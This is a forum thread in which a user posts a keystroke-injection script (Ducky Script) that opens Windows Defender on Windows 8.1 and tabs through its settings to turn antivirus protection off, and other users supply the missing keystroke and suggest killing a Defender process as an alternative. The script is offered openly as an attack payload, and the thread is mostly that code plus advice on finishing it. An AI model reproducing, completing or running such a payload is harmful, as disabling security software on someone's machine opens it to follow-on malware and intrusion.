[Payload] Disable Win Defender

[Hobbes_]

Hello all,

I've put together a simple script that attempts to disable Windows Defender on Windows 8.1 (will update to 7 later).

My only problem is that I have an issue where there is a check box titled "turn on this app" and when I tab over to it, there is no way for me to uncheck that selection. I hope that someone might either find a work around to my method or find a way to make it work. Thank you

Disable Windows Defender:

REM  Author        : Hobbes
REM  Description   : Attempts to disable Windows Defender anti-virus. 
REM  Note          : Only tested on Windows 8.1 - Windows 7 compatibility unknown.

REM ***[Initial Delay]***
DELAY 3000

REM ***[Navigate to Windows Defender]***
GUI r
DELAY 250
STRING cmd
ENTER
DELAY 800
STRING start "" "C:\Program Files\Windows Defender\MSASCui.exe"
ENTER
DELAY 400

REM **[Disables Defender]***
TAB
DELAY 80
TAB
DELAY 80
RIGHTARROW
DELAY 80
RIGHTARROW
DELAY 80
RIGHTARROW
DELAY 80
TAB
DELAY 80
DOWNARROW
DELAY 80
DOWNARROW
DELAY 80
DOWNARROW
DELAY 80
DOWNARROW
DELAY 80
DOWNARROW
DELAY 80
DOWNARROW
DELAY 80
TAB

[tinkermake]

when you tab to it you can use "space bar" to check/uncheck it

[Hobbes_]

Thank you!

[MB60893]

You could also just look for the process mssecess.exe and kill the instance of that. Surprisingly, the process isn't persistent like Windows Update is.

[Hobbes_]

You could also just look for the process mssecess.exe and kill the instance of that. Surprisingly, the process isn't persistent like Windows Update is.

Really? You would think they would make it persistent haha